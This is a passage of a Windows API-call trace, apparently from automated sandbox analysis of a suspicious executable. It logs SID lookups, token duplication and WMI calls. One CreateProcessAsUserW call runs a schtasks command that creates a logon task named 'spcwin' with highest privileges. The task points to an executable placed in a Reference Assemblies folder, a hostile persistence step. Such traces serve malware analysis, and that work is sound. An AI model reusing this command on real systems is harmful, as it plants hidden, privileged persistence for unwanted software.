[3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0129.690] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0129.690] malloc (_Size=0x18) returned 0x2af0c0 [0129.690] malloc (_Size=0x18) returned 0x2af0e0 [0129.690] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0129.690] SysStringLen (param_1="-") returned 0x1 [0129.690] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x54 | out: _Dst=0x116238) returned 0x116238 [0129.690] memcpy (in: _Dst=0x11628a, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x11628a) returned 0x11628a [0129.690] free (_Block=0x2aefc0) [0129.690] free (_Block=0x2af0c0) [0129.690] malloc (_Size=0x18) returned 0x2af0c0 [0129.705] malloc (_Size=0x18) returned 0x2aefc0 [0129.705] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0129.705] SysStringLen (param_1="1000") returned 0x4 [0129.705] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0129.705] memcpy (in: _Dst=0x12d85c, _Src=0x1398f8, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0129.705] free (_Block=0x2af0e0) [0129.706] free (_Block=0x2af0c0) [0129.706] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0129.706] malloc (_Size=0x5e) returned 0x2b08a0 [0129.706] free (_Block=0x2aefc0) [0129.706] malloc (_Size=0x18) returned 0x2aefc0 [0129.706] free (_Block=0x2b08a0) [0129.706] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0129.707] GetLastError () returned 0x7a [0129.707] malloc (_Size=0x14) returned 0x2af0c0 [0129.707] malloc (_Size=0x16) returned 0x2af0e0 [0129.708] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca94, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0129.708] malloc (_Size=0x18) returned 0x2af000 [0129.708] malloc (_Size=0x18) returned 0x2aefa0 [0129.709] free (_Block=0x2af0c0) [0129.709] free (_Block=0x2af0e0) [0129.709] free (_Block=0x2affd0) [0129.709] free (_Block=0x2aefa0) [0129.709] free (_Block=0x2af000) [0129.709] free (_Block=0x2aefc0) [0129.709] free (_Block=0x2ae2e0) [0129.710] malloc (_Size=0x48) returned 0x2ad220 [0129.710] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0129.720] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0129.720] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0129.721] malloc (_Size=0x18) returned 0x2aefc0 [0129.721] CreateEnvironmentBlock () returned 0x1 [0129.733] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0129.734] malloc (_Size=0x18) returned 0x2af000 [0129.734] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"spcwin\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec80, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"spcwin\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xed4, dwThreadId=0xed8)) returned 1 [0129.743] CloseHandle (hObject=0x248) returned 1 [0129.743] CloseHandle (hObject=0x24c) returned 1 [0129.744] free (_Block=0x2af000) [0129.744] DestroyEnvironmentBlock () returned 0x1 [0129.744] malloc (_Size=0x48) returned 0x2ad270 [0129.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1c5c4800, dwHighDateTime=0x1d8a92a)) [0129.744] SetEvent (hEvent=0x1f0) returned 1 [0129.744] CloseHandle (hObject=0x2d0) returned 1 [0129.745] CloseHandle (hObject=0x2dc) returned 1 [0129.890] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0129.890] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0129.890] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0130.391] SetLastError (dwErrCode=0x0) [0130.391] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0130.391] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0130.391] SetLastError (dwErrCode=0x0) [0130.391] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0130.391] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0130.391] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0130.391] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0130.391] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0130.391] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0130.393] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0130.394] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0130.394] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0130.394] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0130.394] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0130.394] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0130.394] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0130.396] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0130.396] GetCurrentThread () returned 0xfffffffffffffffe [0130.396] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0130.396] malloc (_Size=0xd8) returned 0x2b8790 [0130.396] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0130.397] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0130.397] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0130.397] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0130.397] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0130.397] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0130.397] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0130.398] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0130.399] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0130.399] malloc (_Size=0x18) returned 0x2aef80 [0130.400] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0130.400] malloc (_Size=0x48) returned 0x2ad3b0 [0130.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1cbb7f00, dwHighDateTime=0x1d8a92a)) [0130.400] SetEvent (hEvent=0x1f0) returned 1 [0130.403] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0130.403] GetLastError () returned 0x7a [0130.403] malloc (_Size=0x2c) returned 0x2ae2a0 [0130.403] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0130.403] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.403] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0130.403] malloc (_Size=0x1c) returned 0x2affa0 [0130.403] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.403] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0130.403] malloc (_Size=0x18) returned 0x2aefc0 [0130.403] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0130.403] malloc (_Size=0x18) returned 0x2af000 [0130.404] malloc (_Size=0x18) returned 0x2aefa0 [0130.404] SysStringLen (param_1="S-1-") returned 0x4 [0130.404] SysStringLen (param_1="5") returned 0x1 [0130.404] memcpy (in: _Dst=0x1395c8, _Src=0x1619a8, _Size=0xa | out: _Dst=0x1395c8) returned 0x1395c8 [0130.404] memcpy (in: _Dst=0x1395d0, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d0) returned 0x1395d0 [0130.404] free (_Block=0x2aefc0) [0130.404] free (_Block=0x2af000) [0130.404] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0130.404] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0130.404] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0130.404] malloc (_Size=0x18) returned 0x2af000 [0130.404] malloc (_Size=0x18) returned 0x2aefc0 [0130.404] SysStringLen (param_1="S-1-5") returned 0x5 [0130.404] SysStringLen (param_1="-") returned 0x1 [0130.404] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xc | out: _Dst=0x139898) returned 0x139898 [0130.404] memcpy (in: _Dst=0x1398a2, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x1398a2) returned 0x1398a2 [0130.404] free (_Block=0x2aefa0) [0130.404] free (_Block=0x2af000) [0130.404] malloc (_Size=0x18) returned 0x2af000 [0130.404] malloc (_Size=0x18) returned 0x2aefa0 [0130.404] SysStringLen (param_1="S-1-5-") returned 0x6 [0130.405] SysStringLen (param_1="21") returned 0x2 [0130.405] memcpy (in: _Dst=0x1619a8, _Src=0x139898, _Size=0xe | out: _Dst=0x1619a8) returned 0x1619a8 [0130.405] memcpy (in: _Dst=0x1619b4, _Src=0x1395c8, _Size=0x6 | out: _Dst=0x1619b4) returned 0x1619b4 [0130.405] free (_Block=0x2aefc0) [0130.405] free (_Block=0x2af000) [0130.405] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0130.405] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0130.405] malloc (_Size=0x18) returned 0x2af000 [0130.405] malloc (_Size=0x18) returned 0x2aefc0 [0130.405] SysStringLen (param_1="S-1-5-21") returned 0x8 [0130.405] SysStringLen (param_1="-") returned 0x1 [0130.405] memcpy (in: _Dst=0x1395c8, _Src=0x1619a8, _Size=0x12 | out: _Dst=0x1395c8) returned 0x1395c8 [0130.405] memcpy (in: _Dst=0x1395d8, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d8) returned 0x1395d8 [0130.405] free (_Block=0x2aefa0) [0130.405] free (_Block=0x2af000) [0130.405] malloc (_Size=0x18) returned 0x2af000 [0130.405] malloc (_Size=0x18) returned 0x2aefa0 [0130.405] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0130.405] SysStringLen (param_1="4219442223") returned 0xa [0130.405] memcpy (in: _Dst=0x117a48, _Src=0x1395c8, _Size=0x14 | out: _Dst=0x117a48) returned 0x117a48 [0130.405] memcpy (in: _Dst=0x117a5a, _Src=0x1619a8, _Size=0x16 | out: _Dst=0x117a5a) returned 0x117a5a [0130.405] free (_Block=0x2aefc0) [0130.406] free (_Block=0x2af000) [0130.406] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0130.406] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0130.406] malloc (_Size=0x18) returned 0x2af000 [0130.406] malloc (_Size=0x18) returned 0x2aefc0 [0130.406] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0130.406] SysStringLen (param_1="-") returned 0x1 [0130.406] memcpy (in: _Dst=0x1179a8, _Src=0x117a48, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0130.406] memcpy (in: _Dst=0x1179ce, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0130.406] free (_Block=0x2aefa0) [0130.406] free (_Block=0x2af000) [0130.406] malloc (_Size=0x18) returned 0x2af000 [0130.406] malloc (_Size=0x18) returned 0x2aefa0 [0130.406] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0130.406] SysStringLen (param_1="4223814209") returned 0xa [0130.406] memcpy (in: _Dst=0x12d918, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0130.406] memcpy (in: _Dst=0x12d940, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0130.406] free (_Block=0x2aefc0) [0130.406] free (_Block=0x2af000) [0130.406] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0130.406] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0130.407] malloc (_Size=0x18) returned 0x2af000 [0130.407] malloc (_Size=0x18) returned 0x2aefc0 [0130.407] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0130.407] SysStringLen (param_1="-") returned 0x1 [0130.407] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12da28) returned 0x12da28 [0130.407] memcpy (in: _Dst=0x12da64, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x12da64) returned 0x12da64 [0130.407] free (_Block=0x2aefa0) [0130.407] free (_Block=0x2af000) [0130.407] malloc (_Size=0x18) returned 0x2af000 [0130.407] malloc (_Size=0x18) returned 0x2aefa0 [0130.407] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0130.407] SysStringLen (param_1="3835049652") returned 0xa [0130.407] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0130.407] memcpy (in: _Dst=0x12d956, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0130.407] free (_Block=0x2aefc0) [0130.407] free (_Block=0x2af000) [0130.407] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0130.407] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0130.407] malloc (_Size=0x18) returned 0x2af000 [0130.407] malloc (_Size=0x18) returned 0x2aefc0 [0130.407] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0130.407] SysStringLen (param_1="-") returned 0x1 [0130.408] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12da28) returned 0x12da28 [0130.408] memcpy (in: _Dst=0x12da7a, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x12da7a) returned 0x12da7a [0130.408] free (_Block=0x2aefa0) [0130.408] free (_Block=0x2af000) [0130.408] malloc (_Size=0x18) returned 0x2af000 [0130.408] malloc (_Size=0x18) returned 0x2aefa0 [0130.408] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0130.408] SysStringLen (param_1="1000") returned 0x4 [0130.408] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0130.408] memcpy (in: _Dst=0x12d96c, _Src=0x1395c8, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0130.408] free (_Block=0x2aefc0) [0130.408] free (_Block=0x2af000) [0130.408] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0130.408] malloc (_Size=0x5e) returned 0x2b08a0 [0130.408] free (_Block=0x2aefa0) [0130.408] malloc (_Size=0x18) returned 0x2aefa0 [0130.409] free (_Block=0x2b08a0) [0130.409] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0130.410] GetLastError () returned 0x7a [0130.410] malloc (_Size=0x14) returned 0x2af000 [0130.410] malloc (_Size=0x16) returned 0x2aefc0 [0130.410] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca84, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0130.410] malloc (_Size=0x18) returned 0x2af0e0 [0130.410] malloc (_Size=0x18) returned 0x2af0c0 [0130.411] free (_Block=0x2af000) [0130.411] free (_Block=0x2aefc0) [0130.411] free (_Block=0x2affa0) [0130.411] free (_Block=0x2af0c0) [0130.411] free (_Block=0x2af0e0) [0130.411] free (_Block=0x2aefa0) [0130.411] free (_Block=0x2ae2a0) [0130.412] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0130.412] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0130.412] GetLastError () returned 0x7a [0130.412] malloc (_Size=0x2c) returned 0x2ae2e0 [0130.412] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0130.412] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.412] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0130.412] malloc (_Size=0x1c) returned 0x2affa0 [0130.412] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.412] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0130.412] malloc (_Size=0x18) returned 0x2aefa0 [0130.412] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0130.412] malloc (_Size=0x18) returned 0x2af0e0 [0130.412] malloc (_Size=0x18) returned 0x2af0c0 [0130.412] SysStringLen (param_1="S-1-") returned 0x4 [0130.412] SysStringLen (param_1="5") returned 0x1 [0130.412] memcpy (in: _Dst=0x1619a8, _Src=0x139898, _Size=0xa | out: _Dst=0x1619a8) returned 0x1619a8 [0130.412] memcpy (in: _Dst=0x1619b0, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1619b0) returned 0x1619b0 [0130.413] free (_Block=0x2aefa0) [0130.413] free (_Block=0x2af0e0) [0130.413] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 